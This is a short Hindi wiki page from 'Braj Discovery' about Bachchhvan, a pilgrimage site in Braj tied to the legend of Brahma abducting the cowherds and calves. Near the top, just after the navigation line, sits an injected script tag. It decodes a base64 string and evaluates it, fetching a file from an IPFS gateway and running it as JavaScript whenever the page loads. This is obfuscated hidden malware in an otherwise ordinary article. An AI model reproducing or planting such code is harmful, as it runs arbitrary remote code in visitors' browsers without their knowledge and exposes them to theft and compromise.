बच्छवन

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

बच्छवन / Bachchhvan

यहाँ ब्रह्माजी ने ग्वालों और गौ–बछड़ों का अपहरण किया था। राजा वीर सिंह बुदेंला द्वारा निर्मित ब्रह्मकुण्ड तथा बिहारी जी का मन्दिर यहाँ स्थित है। इसके आगे गुजवन, भांडीरवन, मांट, बेलवन अथवा सेही, नरी–सेमरी, चौमुहां, जैत, छटीकरा, गरुड़ गोविन्द आदि स्थान पड़ते हैं, जहां से ब्रज चौरासी परिक्रमा के दौरान वृन्दावन पहुंच जाते हैं।